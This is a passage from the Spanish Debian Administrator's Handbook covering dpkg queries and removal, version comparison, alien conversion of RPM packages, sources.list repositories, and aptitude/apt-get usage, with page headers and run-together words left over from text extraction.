Section 6.1.1.2, “Las retroadaptaciones debackports.debian.org”) son solucionesmás adecuadas.

5.4.2. Eliminación deun paqueteEjecutar dpkg con la opción -r o --remove seguida del nombre de unpaquete eliminará dicho paquete. Estaeliminación, sin embargo, no escompleta: se mantendrán todos losarchivos de configuración, scripts,archivos de registros (registros desistema) y otros datos de usuarios quegestiona el paquete. La razón para

Page 464: El Libro Del Administrador de Debian - Raphael Hertzog

mantenerlos es desactivar el programaal desinstalarlo pero preservando laopción de reinstalarlo rápidamente ycon las mismas configuraciones. Paraeliminar completamente todo loasociado con un paquete, utilice laopción -P o --purge seguida delnombre del paquete.

Example 5.4. Eliminación y purgadodel paquete debian-cd# dpkg -r debian-cd

(Reading database... 14170 files and directories already installed.)

Removing debian-cd ...

# dpkg -P debian-cd

(Reading database... 13794 files and directories already installed.)

Removing debian-cd ...

Removing debian-cd configuration files...

5.4.3. Otras

Page 465: El Libro Del Administrador de Debian - Raphael Hertzog

5.4.3. Otrascaracterísticas dedpkg

VOLVER A LOS CIMIENTOS Sintaxis deopciones

La mayoría de las opciones se encuentrandisponibles en versión «larga» (una o máspalabras relevantes precedidas por dobleguión) o en versión «corta» (una únicaletra, normalmente la primera de las letrasde la versión larga, y precedida por unúnico guión). Esta convención es tancomún que constituye un estándar POSIX.

Antes de finalizar esta sección,

Page 466: El Libro Del Administrador de Debian - Raphael Hertzog

resaltaremos que algunas opciones dedpkg pueden consultar la base de datosinternas para obtener información.Daremos primero las opciones en suversión larga y luego la versión cortacorrespondiente (que evidentementeaceptarán los mismos parámetrosposibles) de las opciones: --listfiles paquete (o -L), que listarálos archivos instalados por estepaquete; --search archivo (o -S),que encontrará el paquete del queproviene el archivo; --statuspaquete (o -s), que mostrará lascabeceras de un paquete instalado; --list (o -l), que mostrará la lista depaquetes conocidos por el sistema y suestado de instalación; --contents

Page 467: El Libro Del Administrador de Debian - Raphael Hertzog

archivo.deb (o -c), que listará losarchivos en el paquete Debianespecificado; --info archivo.deb (o-I), que mostrará las cabeceras delpaquete Debian.

Example 5.5. Varias consultas condpkg

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/man

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

Page 468: El Libro Del Administrador de Debian - Raphael Hertzog

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/base-passwd

/usr/share/base-passwd/passwd.master

/usr/share/base-passwd/group.master

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc/base-passwd/README

$ dpkg -S /bin/date

Page 469: El Libro Del Administrador de Debian - Raphael Hertzog

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 12188

Maintainer: Michael Stone <[email protected]>

Architecture: i386

Version: 8.5-1

Replaces: mktemp, timeout

Pre-Depends: libacl1 (>= 2.2.11-1), libattr1 (>= 2.4.41-1), libc6 (>= 2.6), libselinux1 (>= 1.32)

Conflicts: timeout

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

Page 470: El Libro Del Administrador de Debian - Raphael Hertzog

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od

paste pathchk pinky pr printenv printf ptx pwd readlink rm rmdir runcon

sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test

timeout touch tr true truncate tsort tty uname unexpand uniq unlink

users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*' | head

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name Version Description

+++-===================-==========-============================================

un backupninja <none> (no description available)

un base <none> (no description available)

un base-config <none> (no description available)

ii base-files 4 Debian base system miscellaneous files

ii base-passwd 3.5.11 Debian base system master password and group

$ dpkg -c /var/cache/apt/archives/iceweasel_2.0.0.18-0etch1_i386.deb

drwxr-xr-x root/root 0 2008-11-23 23:18 ./

drwxr-xr-x root/root 0 2008-11-23 23:16 ./etc/

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/

Page 471: El Libro Del Administrador de Debian - Raphael Hertzog

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/

-rw-r--r-- root/root 7138 2006-08-19 08:04 ./etc/iceweasel/profile/bookmarks.html

-rw-r--r-- root/root 153 2006-09-14 19:13 ./etc/iceweasel/profile/localstore.rdf

-rw-r--r-- root/root 3287 2005-02-01 18:36 ./etc/iceweasel/profile/search.rdf

-rw-r--r-- root/root 287 2004-11-30 22:26 ./etc/iceweasel/profile/mimeTypes.rdf

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/chrome/

-rw-r--r-- root/root 1078 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userChrome-example.css

-rw-r--r-- root/root 663 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userContent-example.css

-rw-r--r-- root/root 347 2004-07-28 23:20 ./etc/iceweasel/profile/prefs.js

-rw-r--r-- root/root 53 2008-11-23 22:43 ./etc/iceweasel/iceweaselrc

[...]

$ dpkg -I /var/cache/apt/archives/iceweasel_2.0.0.18-0etch1_i386.deb

new Debian package, version 2.0.

size 9126828 bytes : control file = 37297 bytes.

346 bytes, 9 lines conffiles

1255 bytes, 20 lines control

122920 bytes, 1249 lines md5sums

1267 bytes, 37 lines * postinst #!/bin/sh

293 bytes, 8 lines * postrm #!/bin/sh

2763 bytes, 70 lines * preinst #!/bin/sh

274 bytes, 12 lines * prerm #!/bin/sh

Package: iceweasel

Page 472: El Libro Del Administrador de Debian - Raphael Hertzog

Version: 2.0.0.18-0etch1

Section: web

Priority: optional

Architecture: i386

Depends: fontconfig, psmisc, debianutils (>= 1.16), libatk1.0-0 (>= 1.12.2), libc6 (>= 2.3.6-6)...

Suggests: iceweasel-gnome-support (= 2.0.0.18-0etch1), latex-xft-fonts, xprint, mozplugger, libkrb53

Conflicts: mozilla-firefox (<< 1.5.dfsg-1), firefox (<< 2.0+dfsg-1)

Replaces: mozilla-firefox, firefox (<< 2.0+dfsg-1)

Provides: www-browser

Installed-Size: 26364

Maintainer: Eric Dorland <[email protected]>

Description: lightweight web browser based on Mozilla

Iceweasel is a redesign of the Mozilla browser component, similar to

Galeon, K-Meleon and Camino, but written using the XUL user interface

language and designed to be lightweight and cross-platform.

.

This browser is based on the Firefox source-code, with minor

modifications. Historically, this browser was previously known as

Firebird and Phoenix.

YENDO MÁS ALLÁ Comparación deversiones

Page 473: El Libro Del Administrador de Debian - Raphael Hertzog

Dado que dpkg es el programa paragestionar paquetes Debian, tambiénprovee la implementación de referenciapara la lógica de comparación de númerosde versión. Es por esto que tiene unaopción --compare-versions, que puedeser utilizada por programas externos(especialmente scripts de configuraciónejecutados por dpkg mismo). Esta opciónnecesita tres parámetros: un número deversión, un operador de comparación y unsegundo número de versión. Losdiferentes operadores posibles son: lt(estrictamente menor), le (menor o igual),eq (igual), ne (distinto), ge (mayor oigual) y gt (estrictamente mayor). Si lacomparación es correcta, dpkg devuelveel código 0 (éxito); de lo contrariodevolverá un valor distinto de cero(indicado un fallo).

Page 474: El Libro Del Administrador de Debian - Raphael Hertzog

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

Note el fallo inesperado de la últimacomparación: pre, que generalmentedenota una prepublicación, no tiene unsignificado especial para dpkg y éstecompara los caracteres alfabéticos de lamisma forma que los números (a <b <c...): en orden alfabético. Es por esto queconsidera «0pre3» mayor que «0». Sideseamos que el número de versión de unpaquete indique que es unaprepublicación, utilizamos el caráctervirgulilla: «~»:

Page 475: El Libro Del Administrador de Debian - Raphael Hertzog

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. Archivo deregistro de dpkgUna de las funcionalidades agregadasrecientemente a dpkg es que mantieneun registro de todas sus acciones en/var/log/dpkg.log. Este registro esextremadamente detallado ya queincluye cada una de las etapas por lasque pasa un paquete gestionado pordpkg. Además de ofrecer una forma derastrear el funcionamiento de dpkg,

Page 476: El Libro Del Administrador de Debian - Raphael Hertzog

sobre todo ayuda a mantener unhistorial del desarrollo del sistema: unopuede encontrar el momento exacto enel que se instaló o actualizó un paquete,y esta información puede serextremadamente útil cuando se intentaentender un cambio de comportamientoreciente. Además, como se registrantodas las versiones, es sencilloverificar y referenciar información conel archivo changelog.Debian.gz delpaquete en cuestión o inclusive conreportes de error online.

Page 477: El Libro Del Administrador de Debian - Raphael Hertzog

5.5. Coexistenciacon otros sistemaspaquetesLos paquetes Debian no son los únicospaquetes de software utilizados en elmundo del software libre. El principalcompetidor es el formato RPM de RedHadt Linux y sus muchos derivados.Red Hat es una distribución comercialmuy popular. Es muy común que elsoftware provisto por terceros seaofrecido como paquetes RPM en lugarde paquetes Debian.

Page 478: El Libro Del Administrador de Debian - Raphael Hertzog

En este caso debe saber que elprograma rpm, que gestiona lospaquetes RPM, está disponible comoun paquete Debian; por lo que esposible utilizar este formato depaquetes en Debian. Debe tenercuidado sin embargo, y limitar estasmanipulaciones a extraer lainformación de un paquete o verificarsu integridad. No es, en realidad,razonable utilizar rpm para instalar unpaquete RPM en un sistema Debian;RPM utiliza su propia base de datos,separada de aquella del software nativo(como dpkg. Es por esto que no esposible asegurar una coexistenciaestable de dos sistemas de paquetes.

Page 479: El Libro Del Administrador de Debian - Raphael Hertzog

Por el otro lado, la herramienta alienpuede convertir paquetes RPM enpaquetes Debian y viceversa.

COMUNIDAD Fomentando la adopciónde .deb

Si utilizar el programa alienfrecuentemente para instalar paquetesRPM de alguno de sus proveedores, nodude en escribirle y expresar su fuertepreferencia por el formato .deb. Note queel formato del paquete no es todo: unpaquete .deb construido con alien opreparado para una versión de Debiandiferente a la que utiliza, aún para unadistribución derivada como Ubuntu,probablemente no ofrezca el mismo nivelde calidad e integración que un paquetedesarrollado específicamente para Debian

Page 480: El Libro Del Administrador de Debian - Raphael Hertzog

Squeeze.

$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm

phpmyadmin_2.0.5-2_all.deb generated

$ ls -s phpmyadmin_2.0.5-2_all.deb

64 phpmyadmin_2.0.5-2_all.deb

Encontrará que el proceso esextremadamente simple. Debe saber,sin embargo, que el paquete generadono tiene información sobredependencias ya que las dependenciasde los dos formatos de paquetes notienen una correspondenciasistemática. El administrador, por lotanto, debe asegurarse manualmenteque el paquete convertido funcionarácorrectamente y esta es la razón por la

Page 481: El Libro Del Administrador de Debian - Raphael Hertzog

que se deben evitar los paquetesDebian así generados tanto como seaposible. Afortunadamente, Debiantiene la colección más grande depaquetes de software entre todas lasdistribuciones y es probable que lo quesea que busque ya esté allí.

Revisando la página de manual delprograma alien también notará que esteprograma también es compatible conotros formatos de paquetes, en especialel utilizado por la distribuciónSlackware (que está compuesto de unsimple compendio tar.gz).

La estabilidad del software desplegadocon la herramienta dpkg contribuye a

Page 482: El Libro Del Administrador de Debian - Raphael Hertzog

la fama de Debian. La suite deherramientas APT descripta en elpróximo capítulo preserva esta ventajaal mismo tiempo que liberan aladministrador de la carga de gestionarel estado de los paquetes, una tareadifícil pero necesaria.

Page 483: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 6. Mantenimientoy actualizaciones:las herramientasAPTLo que hace a Debian tan popular entreadministradores es lo sencillo queresulta instalar software y lo fácil quese puede actualizar el sistemacompleto. Esta ventaja única es en granparte debido al programa APT, cuyasfuncionalidades fueron estudiadas conentusiasmo por los administradores deFalcot Corp.

Page 484: El Libro Del Administrador de Debian - Raphael Hertzog

APT son las siglas de «herramientaavanzada de paquetes» («AdvancedPackage Tool»). Lo que hace esteprograma «avanzado» es su enfoquesobre paquetes. No sólo los evalúaindividualmente sino que los consideracomo un todo y produce la mejorcombinación posible de paquetesdependiendo de lo que esté disponibley sea compatible (según dependencias).

VOCABULARIO Origen del paquete ypaquete fuente

En inglés se utiliza la misma palabra para«origen» y «fuente»: «source». Por lotanto es sencillo confundir un paquetefuente («source package») que contieneel código fuente de un programa con un

Page 485: El Libro Del Administrador de Debian - Raphael Hertzog

«origen de paquetes» («packagesource»), es decir: un repositorio (sitioweb, servidor FTP, CD-ROM, directoriolocal, etc.) que contiene paquetes.

Se necesita proveerle a APT una «listade orígenes de paquetes»: el archivo/etc/apt/sources.list contendráuna lista de diferentes repositorios(«sources») que publican paquetesDebian. APT importará estas listas depaquetes publicadas por cada uno deestas fuentes. Realiza esta operacióndescargando los archivos Packages.gzo Packages.bz2 (en el caso de unafuente de paquetes binarios) y archivosSources.gz o Sources.bz2 (en el casode una fuente de paquetes fuente) y

Page 486: El Libro Del Administrador de Debian - Raphael Hertzog

analizando sus contenidos. Cuando yaposee una copia antigua de estosarchivos, APT puede actualizarla sólodescargando las diferencias (revise elrecuadro SUGERENCIA Actualizaciónincremental).

VOLVER A LOS CIMIENTOSCompresión gzip, bzip2, LZMA y XZ

La extensión .gz hace referencia a unarchivo que ha sido comprimido con lautilidad gzip. gzip es la utilidadtradicional Unix rápida y eficiente paracomprimir archivos. La herramientas másmodernas alcanzan una mayor proporciónde compresión pero precisan de mayortiempo de cálculo para comprimir unarchivo. Además de éstas, y por orden deaparición, están bzip2 (crea archivos con

Page 487: El Libro Del Administrador de Debian - Raphael Hertzog

extensión .bz2), lzma (crea archivos.lzma ) y xz (crea archivos .xz).

6.1. Completandoel archivosources.list

Cada línea del archivo/etc/apt/sources.list contiene unadescripción de un origen, compuestapor 3 partes separadas por espacios.

El primer campo indica el tipo deorigen:

Page 488: El Libro Del Administrador de Debian - Raphael Hertzog

«deb» para paquetes binarios,«deb-src» para paquetes fuente.

El segundo campo provee la URL basepara el origen (combinado con losnombres de archivo presentes en losarchivos Packages.gz debe generaruna URL completa y válida): éstepuede consistir de una réplica Debian oen cualquier otro compendio depaquetes configurado por un tercero.La URL puede comenzar con file://para indicar un origen local instaladoen la jerarquía de archivos del sistema,con http:// para indicar un origendisponible en un servidor web o conftp:// para un origen disponible en unservidor FTP. La URL también puede

Page 489: El Libro Del Administrador de Debian - Raphael Hertzog

comenzar con cdrom:// parainstalaciones desde CD-ROM, aunqueesto es menos frecuente ya que losmétodos de instalación desde la red sonmás y más comunes.

La sintaxis del último campo dependede si el origen corresponde a unaréplica Debian o no. En el caso de unaréplica Debian, debe ser el nombre ladistribución elegida (stable, testing,unstable o sus nombre códigoactuales — revise la lista en elrecuadro COMUNIDAD Bruce Perens,un líder polémico)y luego las seccionesa activar (elija uno o más de main,contrib y non-free). En todos losotros casos, simplemente indique el

Page 490: El Libro Del Administrador de Debian - Raphael Hertzog

subdirectorio del origen deseado(generalmente es simplemente «./»que indica la ausencia de subdirectorio— los paquetes están directamente enla URL especificada).

VOCABULARIO Los compendios main,contrib y non-free

Debian utiliza tres secciones paradiferenciar los paquetes según laslicencias seleccionadas por los autores decada trabajo. Main (el compendioprincipal) reúne todos los paquetes quecumplen completamente con lasDirectrices de software libre de Debian.

El compendio non-free es diferenteporque contiene software que no sigue(completamente) estos principios pero

Page 491: El Libro Del Administrador de Debian - Raphael Hertzog

que aún pueden ser distribuidos sinrestricciones. Este compendio, que no esparte de Debian oficialmente, es unservicio para los usuarios que puedenllegar a necesitar algunos de aquellosprogramas — sin embargo Debiansiempre recomienda dar prioridad alsoftware libre. La existencia de estasección representa un problemaconsiderable para Richard M. Stallman yes la razón por la que la Free SoftwareFoundation no recomienda Debian a losusuarios.

Contrib (contribuciones) es un almacénde software de código abierto que nopuede funcionar sin elementos privativos.Estos elementos pueden ser software de lasección non-free o archivos privativoscomo ROMs de juegos, BIOS paraconsolas, etc. Contrib también incluye

Page 492: El Libro Del Administrador de Debian - Raphael Hertzog

software libre cuya compilación necesitaelementos privativos. Inicialmente esteera el caso para la suite de oficinaOpenOffice.org que necesitaba unentorno Java privativo.

Generalmente, el contenido de unarchivo sources.list estándar puedeser como sigue:

Example 6.1. el archivo/etc/apt/sources.list

# Actualizaciones de seguridad

deb http://security.debian.org/ stable/updates main contrib non-free

deb-src http://security.debian.org/ stable/updates main contrib non-free

# Réplica Debian

deb http://ftp.debian.org/debian stable main contrib non-free

deb-src http://ftp.debian.org/debian stable main contrib non-free

Page 493: El Libro Del Administrador de Debian - Raphael Hertzog

Este archivo contiene una lista de todoslos orígenes de paquetes asociados conla versión estable de Debian. Si deseautilizar Testing o Unstable, obviamentedeberá agregar las líneas apropiadas (oreemplazar las existentes). Cuando laversión deseada de un paquete estádisponible en varias réplicas, laprimera en el archivo sources.list.Por esta razón generalmente se agreganorígenes no oficiales al final delarchivo.

SUGERENCIA Archivos/etc/apt/sources.list.d/*.list

Si se hace referencia a muchos orígenesde paquetes puede ser útil dividirlos envarios archivos. Cada parte se almacena

Page 494: El Libro Del Administrador de Debian - Raphael Hertzog

en /etc/apt/sources.list.d/nombre dearchivo.list (ver recuadro VOLVER ALOS CIMIENTOS Directorios terminadoscon .d).

VISTA RÁPIDA apt-spy

Este software comprueba la velocidad dedescarga desde varias réplicas Debian ygenera un archivo sources.list queapunta a la réplica más rápida.

La réplica seleccionada durante lainstalación normalmente es la adecuadaya que la selección de la misma se basa enel país. Sin embargo, si la descarga es unpoco lenta o tras cambiar de ubicación,puede probar ejecutar la aplicacióndisponible en el paquete apt-spy.

Page 495: El Libro Del Administrador de Debian - Raphael Hertzog

El archivo sources.list contieneotros tipos de entradas: algunosdescriben CD-ROMs de Debian queposeas. A diferencia de otros orígenes,un CD-ROM no está siempredisponible ya que debe ser ingresado enel dispositivo y se puede leer un disco ala vez — en consecuencia, se gestionanestos orígenes en una formaligeramente distinta. Se debe agregarestas entradas con el programa apt-cdrom, generalmente ejecutado con elparámetro add. Éste luego pedirá queingrese el disco en el dispositivo,navegará sus contenidos buscando porarchivos Packages. Utilizará estosarchivos para actualizar su base de

Page 496: El Libro Del Administrador de Debian - Raphael Hertzog

datos de paquetes disponibles (estogeneralmente se realiza con aptitudeupdate). De ahí en adelante, APTpuede pedir que ingrese el disco sinecesita uno de sus paquetes.

6.1.1. Otrosrepositorios oficialesdisponibles

6.1.1.1. Actualizaciones deStable

Una vez publicada, la distribuciónStable se actualiza sólo una vez cada 2

Page 497: El Libro Del Administrador de Debian - Raphael Hertzog

meses para integrar las actualizacionesde seguridad publicadas ensecurity.debian.org.

Esta versión menor también puedeincluir actualizaciones de paquetes queevolucionaron con el tiempo... comolas reglas de detección de spam despamassassin, la base de datos de virusde clamav o las reglas de horarios deverano de todos los husos horarios(tzdata).

Se preparan todas estas actualizacionesen un repositorio conocido comoproposed-updates. Cualquiera puedeutilizar este repositorio para probaresas actualizaciones antes de su

Page 498: El Libro Del Administrador de Debian - Raphael Hertzog

publicación oficial. El extracto acontinuación utiliza el alias squeeze-proposed-updates que es másexplícito y más consistente ya quetambién existe lenny-proposed-updates (para las actualizaciones deOldstable):

deb http://ftp.debian.org/debian squeeze-proposed-updates main contrib non-free

Una vez listo, las actualizaciones másimportantes — aquellas que no puedenesperar a la siguiente versión menor deDebian — son publicadas en elrepositorio stable-updates (se esperasea utilizado por la mayoría de lossistemas):

deb http://ftp.debian.org/debian stable-updates main contrib non-free

Page 499: El Libro Del Administrador de Debian - Raphael Hertzog

6.1.1.2. Lasretroadaptaciones debackports.debian.org

El servidor backports.debian.orgalmacena «paquetes retroadaptados».El término se refiere al paquete de unsoftware reciente que fue recompiladopara un distribución antigua,generalmente para Stable. Cuando ladistribución entra en años, muchosproyectos de software habrán publicadonuevas versiones que no estánintegradas en la versión actual deStable (que sólo es modificada paracorregir los problemas más criticos,como los problemas de seguridad).

Page 500: El Libro Del Administrador de Debian - Raphael Hertzog

Debido a que las distribuciones Testingy Unstable son más riesgosas, algunosvoluntarios a veces ofrecenrecompilaciones de aplicaciones desoftware recientes para Stable quetienen la ventaja de limitar la potencialinestabilidad a un número pequeño depaquetes seleccionados.

→ http://backports.debian.org/

La línea de sources.list pararetroadaptaciones apuntadas a ladistribución Squeeze es la siguiente:

deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free

6.1.1.3. El repositorio

Page 501: El Libro Del Administrador de Debian - Raphael Hertzog

Experimental

El compendio de paquetesExperimental se encuentra en todas lasréplicas Debian y contiene paquetesque no están en Unstable aún debido aque su calidad está bajo los estándaresnormales — generalmente sonversiones en desarrollo del software oversiones previas (alpha, beta,candidato de publicación...). Unpaquete también puede ser enviado ahíluego de sufrir muchos cambios quepueden generar problemas. Eldesarrollador luego intentarádescubrirlos gracias a usuariosavanzados que pueden manejarproblemas importantes. Luego de esta

Page 502: El Libro Del Administrador de Debian - Raphael Hertzog

etapa, mueve el paquete a Unstable,donde alcanza una audiencia másgrande y donde será probado en muchomás detalle.

Los usuarios que usan Experimentalgeneralmente no les importa romper susistema y luego repararlo. Estadistribución les da la posibilidad deimportar un paquete que el usuariodesea probar o usar según lo necesita.Esto es exactamente el enfoque quetoma Debian ya que agregarlo en elarchivo sources.list de APT noconlleva el uso sistemático de suspaquetes. La línea a agregar es:

deb http://ftp.debian.org/debian experimental main contrib non-free

Page 503: El Libro Del Administrador de Debian - Raphael Hertzog

6.1.2. Recursos nooficiales: apt-get.orgy mentors.debian.netHay varios orígenes de paquetesDebian no oficiales configurados porusuarios avanzados que recompilaronsoftware, programadores que quierenponer sus creaciones a disposición detodos e inclusive desarrolladoresDebian que ofrecen versiones previasde sus paquetes. Se creó un sitio webpara encontrar estos orígenesalternativos más fácilmente. Contieneuna lista impresionante de orígenes depaquetes Debian que pueden ser

Page 504: El Libro Del Administrador de Debian - Raphael Hertzog

integrados inmediatamente a losarchivos sources.list. Sin embargo,tenga cuidado de no agregar paquetesal azar. Cada origen está pensado parauna versión particular de Debian (lautilizada para compilar los paquetes encuestión); cada usuario debe mantenercierta coherencia en lo que decideinstalar.

→ http://www.apt-get.org/

El sitio mentors.debian.net tambiénes interesante ya que reúne lospaquetes creados por los candidatos alestado de desarrollador Debian oficialo por voluntarios que desean crearpaquetes Debian sin pasar por ese

Page 505: El Libro Del Administrador de Debian - Raphael Hertzog

proceso de integración. Los paquetesdisponibles aquí no tiene garantías decalidad, asegúrese de revisar su origene integridad y pruébelos antes deconsiderar utilizarlos en producción.

COMUNIDAD Los sitios debian.net

El dominio debian.net no es un recursooficial del proyecto Debian. Cadadesarrollador Debian puede utilizar estenombre de dominio para uso propio. Estossitios web pueden contener servicios nooficiales (a veces sitios personales)almacenados en una máquina que nopertenece al proyecto configurada pordesarrolladores Debian o inclusiveprototipos que serán movidos adebian.org. Dos razones pueden explicarporqué algunos de estos prototipos

Page 506: El Libro Del Administrador de Debian - Raphael Hertzog

permanecen en debian.net: o bien nadierealizó el esfuerzo necesario paratransformarlo en un servicio oficial (en eldominio debian.org y con cierta garantíade mantenimiento) o el servicio esdemasiado controvertido para seroficializado.

Instalar un paquete significa darpermisos de root a su creador, porqueellos deciden el contenido de losscripts de inicialización que ejecutanbajo esa identidad. Los paquetesoficiales de Debian son creados porvoluntarios que fueron cooptados yverificados y que pueden firmar suspaquetes para que se pueda revisar suorigen e integridad.

Page 507: El Libro Del Administrador de Debian - Raphael Hertzog

En general, desconfíe de un paquetecuyo origen desconoce y que no esalmacenado en uno de los servidoresoficiales de Debian: evalúe el grado enel que puede confiar en su creador yrevise la integridad del paquete.

→ http://mentors.debian.net/

YENDO MÁS ALLÁ Versiones antiguasde paquetes: snapshot.debian.org

Se puede utilizar un nuevo servicio(introducido en Abril de 2010) para«volver en el tiempo» y encontrar unaversión anterior de un paquete. Puede serutilizado, por ejemplo, para identificar laversión de un paquete que introdujo unaregresión y, más en concreto, volver a laversión anterior mientras espera que

Page 508: El Libro Del Administrador de Debian - Raphael Hertzog

corrijan la regresión.

Page 509: El Libro Del Administrador de Debian - Raphael Hertzog

6.2. Losprogramasaptitude y apt-getAPT es un proyecto gigante y su planoriginal incluia una interfaz gráfica.Está basado en una biblioteca quecontiene la aplicación central y apt-getfue la primera interfaz — basada en lalínea de órdenes — desarrollada dentrodel proyecto.

Varias otras interfaces gráficasaparecieron luego como proyectosexternos: synaptic, aptitude (que

Page 510: El Libro Del Administrador de Debian - Raphael Hertzog

incluye tanto una interfaz en modotexto como una gráfica — aún cuandono esté completa), wajig, etc. Lainterfaz más recomendada, aptitude esla utilizada durante la instalación deDebian. Debido a que su sintaxis delínea de órdenes es muy similar a la deapt-get nos enfocaremos en aptitudeen los ejemplos provistos en estasección. Detallaremos cuando existangrandes diferencias entre aptitude yapt-get.

6.2.1. InicializaciónPara cualquier trabajo con APTnecesita actualizar la lista de paquetes;

Page 511: El Libro Del Administrador de Debian - Raphael Hertzog

puede hacer esto simplemente conaptitude update. Dependiendo de lavelocidad de su conexión estaoperación puede demorar ya queinvolucra descargar una cantidad dearchivos Packages.(gz|bz2) (oinclusive Sources.(gz|bz2)) que hancrecido gradualmente a medida que sedesarrolló Debian (más de 8 MB parael Packages.gz más grande — de lasección main). Por su puesto, instalardesde un CD-ROM no requieredescarga alguna — en ese caso estaoperación es muy rápida.

6.2.2. Instalación yeliminación

Page 512: El Libro Del Administrador de Debian - Raphael Hertzog

Con APT puede agregar o eliminarpaquetes del sistema, con aptitudeinstall paquete y aptitude removepaquete respectivamente. En amboscasos APT automáticamente instalarálas dependencias necesarias oeliminará los paquetes que dependendel paquete que está siendo eliminado.Las órdenes aptitude purge paquete oapt-get-purge paquete realizan unadesinstalación completa — se eliminantambién los archivos de configuración.

SUGERENCIA Instalando la mismaselección de paquetes varias veces

Puede ser útil instalar sistemáticamente lamisma lista de paquetes en variosequipos. Esto puede realizarse fácilmente.

Page 513: El Libro Del Administrador de Debian - Raphael Hertzog

Primero, obtenga la lista de paquetes en elequipo que servirá como «modelo» acopiar.

$ dpkg --get-selections >pkg-list

El archivo pkg-list contiene ahora lalista de paquetes instalados. Luegotransfiera el archivo pkg-list a losequipos que desea actualizar y utilice lassiguientes órdenes:

# dpkg --set-selections <pkg-list

# apt-get dselect-upgrade

La primera orden registra la lista depaquetes que desea instalar y la ejecuciónsiguiente de apt-get implementa lasoperaciones requeridas. aptitude no tieneesta orden.

Page 514: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Eliminando e instalandoal mismo tiempo

Es posible pedirle a aptitude (o apt-get)instalar ciertos paquetes y eliminar otrosen la misma línea de órdenes agregandoun sufijo. Con una orden aptitude install,agregue «-» a los nombres de paquetesque desea eliminar. Con una ordenaptitude remove, agregue «+» a losnombres de paquete que desea instalar.

El siguiente ejemplo muetra dos formasdistintas de instalar paquete1 y eliminarpaquete2.

# aptitude install paquete1 paquete2-

[...]

# aptitude remove paquete1+ paquete2

[...]

Page 515: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA apt-get --reinstall yaptitude reinstall

A veces el sistema puede dañarse despuésde eliminar o modificar los archivos de unpaquete. La forma más sencilla derecuperar estos archivos es reinstalar lospaquetes afectados. Desafortunadamente,el sistema de paquete encuentra que ésteya está instalado y amablemente rechazael pedido; para evitarlo, utilice la opción--reinstall de apt-get. La siguienteorden reinstala postfix aún si ya estáinstalado:

# apt-get --reinstall install postfix

La línea de órdenes para aptitude esligeramente diferente pero consigue elmismo resultado con aptitude reinstallpostfix.

Page 516: El Libro Del Administrador de Debian - Raphael Hertzog

El problema no ocurre con dpkg pero eladministrador rara vez lo utilizadirectamente.

Tenga cuidado, utilizar apt-get --reinstallpara restaurar paquetes modificadosdurante un ataque definitivamente nopuede recuperar el sistema como estaba.La Section 14.6, “Tratamiento de unamáquina comprometida” detalla los pasosnecesarios a tomar en un sistemacomprometido.

Si el archivo sources.list mencionavarias distribuciones es posible proveerla versión del paquete a instalar. Sepuede pedir un número de versiónespecífico con aptitude installpaquete=versión, pero generealmente

Page 517: El Libro Del Administrador de Debian - Raphael Hertzog

es preferible indicar la distribución deorigen (Stable, Testing o Unstable).Con esta orden es posible volver a unaversión antigua de un paquete (si sabeque funciona bien por ejemplo),siempre que aún esté disponible enalguno de los orígenes a los que serefiere el archivo sources.list. De locontrario, el compendiosnapshot.debian.org puede llegar alrescate (revise el recuadro YENDOMÁS ALLÁ Versiones antiguas depaquetes: snapshot.debian.org).

Example 6.2. Instalación de laversión en Unstable de spamassassin# aptitude install spamassassin/unstable

YENDO MÁS ALLÁ El caché de archivos

Page 518: El Libro Del Administrador de Debian - Raphael Hertzog

.deb

